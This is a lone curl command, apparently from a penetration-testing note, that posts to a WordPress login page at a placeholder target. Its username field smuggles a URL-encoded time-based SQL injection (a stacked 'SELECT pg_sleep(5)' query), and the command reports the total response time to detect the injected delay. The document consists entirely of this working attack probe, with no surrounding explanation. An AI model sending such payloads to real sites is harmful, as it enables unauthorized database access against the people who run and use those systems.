curl -w '\nTIME:%{time_total}\n' -s \
  -d 'log=anything%27%3B%20SELECT%20pg_sleep(5)%3B%20--&pwd=irrelevant&wp-submit=Log+In' \
  -d 'redirect_to=' \
  -d 'testcookie=1' \
  'http://{target}/wp-login.php'